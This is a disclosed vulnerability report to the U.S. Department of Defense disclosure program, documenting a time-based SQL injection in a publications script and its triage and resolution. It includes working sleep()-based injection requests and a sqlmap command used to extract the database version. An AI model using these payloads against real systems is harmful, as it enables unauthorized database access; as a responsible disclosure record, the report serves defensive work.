2

SQL Injection in the get_publications.php on the https://[redacted]

Share:

State ○ Resolved (Closed)

Disclosed **October 4, 2019 8:48pm +0530**

Reported To **U.S. Dept Of Defense**

Weakness SQL Injection

Severity High (7 ~ 8.9)

Participants

Visibility Disclosed (Full)

Collapse

TIMELINE · EXPORT

sp1d3rs submitted a report to U.S. Dept Of Defense. Feb 1st (8 months ago)

Description

Hello. I was able to find Time-based SQLI on the https://[redacted]/pubs/get_publications.php using `pub_group_id` parameter

POC

```
GET /pubs/get_publications.php?pub_group_id=wrtqvasi10rc19j1'%2b(select*from(select(sleep(5)))a)%2b'&rno86qi4=1 HTTP
Host: [redacted]
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safa
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://[redacted]/pubs/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,ru;q=0.9,en-US;q=0.8,uk;q=0.7
Cookie: _ga=GA1.2.1697249984.1548431559; __utma=161700579.1697249984.1548431559.1548902867.1548902867.1; __utmz=1617
```

This request will trigger the 5 sec delay of the response. By making sleep value as 10, request will be delayed for 10 seconds.
As additional POC, that attacker is able to extract data, and it's not a false-positive, I retrieved DB banner (version) only using sqlmap command:

```
sqlmap.py -r test.txt --dbms=mysql --technique=T -p pub_group_id --banner --force-ssl --level=5
```

where test.txt is a text fiile contained request dump above.
Result:

```
5.5.62-0ubuntu0.14.04.1
```

[redacted]

No sensitive data such as databases, tables, or content was accessed.

Impact

SQL injection usually have high or critical impact.

BOT: U.S. Dept Of Defense posted a comment. Feb 1st (8 months ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

sp1d3rs posted a comment. Updated Feb 1st (8 months ago)

This is my second SQL injection on this asset (not duplicate), first was in #488795 in other script (library.php)

ag3nt-z3 changed the status to ○ **Needs more info.** Feb 2nd (8 months ago)

Greetings,

To validate [your report] [the reported vulnerability], We require additional information.

Can you please answer the following questions?

@sp1d3rs all your evidence looks good here but I'm not able to replicate it unfortunately. I'm going to keep messing around with it and see whats going on. Can you test this again in sqlmap and make sure you can still get the banner? Make sure you clear what you have saved and do it fresh. I'm wondering if it got fixed before I had a chance to test it.

...

I will continue processing your report on receipt of your response. You will receive another status update upon completion of this review. If I have any other questions in the interim, I will be back in touch.

If we do not receive a response within two weeks, we will send you a second request for this information. If we do not receive a response from you within two weeks of the second notice, we will have to close this report without action.

If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

sp1d3rs changed the status to ○ **New.** Updated Sep 25th (16 days ago)

Hi @ag3nt-z3 yes, it still works. I forgot to add correct `test.txt` file to the report, sorry, it may be the reason why you couldn't reproduce it. It's a little different from the initial request (requires custom marker `*` in right place).
Here is this file:
[redacted]

I also just now made a video of sqlmap usage for this file (to identify where we should use Y or N):
[redacted]
I recorded till first symbol extraction from banner.

Make sure that you request `https` version of the site (it doesn't work on `http`), and your sqlmap is up-to-date.

Also, as simple test, you can compare this two requests in Burp if for some reason sqlmap will fail:
1)

```
GET /pubs/get_publications.php?pub_group_id=wrtqvasi10rc19j1'%2b(select*from(select(sleep(1)))a)%2b'&rno86qi4=1 HTTP
Host: [redacted]
Connection: keep-alive
```

```
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safa
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://[redacted]/pubs/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,ru;q=0.9,en-US;q=0.8,uk;q=0.7
Cookie: _ga=GA1.2.1697249984.1548431559; __utma=161700579.1697249984.1548431559.1548902867.1548902867.1; __utmz=1617
```

This will delay response for 1-2 seconds.
2)

```
GET /pubs/get_publications.php?pub_group_id=wrtqvasi10rc19j1'%2b(select*from(select(sleep(10)))a)%2b'&rno86qi4=1 HTT
Host: [redacted]
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safa
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://[redacted]/pubs/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,ru;q=0.9,en-US;q=0.8,uk;q=0.7
Cookie: _ga=GA1.2.1697249984.1548431559; __utma=161700579.1697249984.1548431559.1548902867.1548902867.1; __utmz=1617
```

This will delay response for 10-11 seconds
[redacted]

ag3nt-z3 updated the severity to High. Feb 4th (8 months ago)

ag3nt-z3 changed the status to ○ **Triaged**. Feb 4th (8 months ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

ag3nt-z3 posted a comment. Feb 4th (8 months ago)

@sp1d3rs boom that was it. That's my bad, I blindly took your original PoC and put it into a text file and never even looked to see if I needed to remove any sql statements. You rock, keep up the good work!

sp1d3rs posted a comment. Feb 5th (8 months ago)

Thanks @ag3nt-z3 !

agent-1 posted a comment. Mar 1st (7 months ago)

@sp1d3rs

Thanks for all of your great research and submissions during the month of February. We would like to publicly recognize your hard work on our Twitter page @DC3VDP. Would you have any issues with that, and if not, would you like us to use your real name, just your alias, or both?

DC3 VDP Team

sp1d3rs posted a comment. Updated Mar 1st (7 months ago)

Hi @agent-1 , it's awesome news, thanks!
I'm open to the any option, you can tag my Twitter account `https://twitter.com/h1_sp1d3r`, it also contains real name (Evgeniy Yakovchuk).

ag3nt-z3 closed the report and changed the status to ○ **Resolved**. May 11th (5 months ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

sp1d3rs requested to disclose this report. Jul 11th (3 months ago)

ag3nt-j1 agreed to disclose this report. Oct 4th (7 days ago)

This report has been disclosed. Oct 4th (7 days ago)

U.S. Dept Of Defense has locked this report. Oct 4th (7 days ago)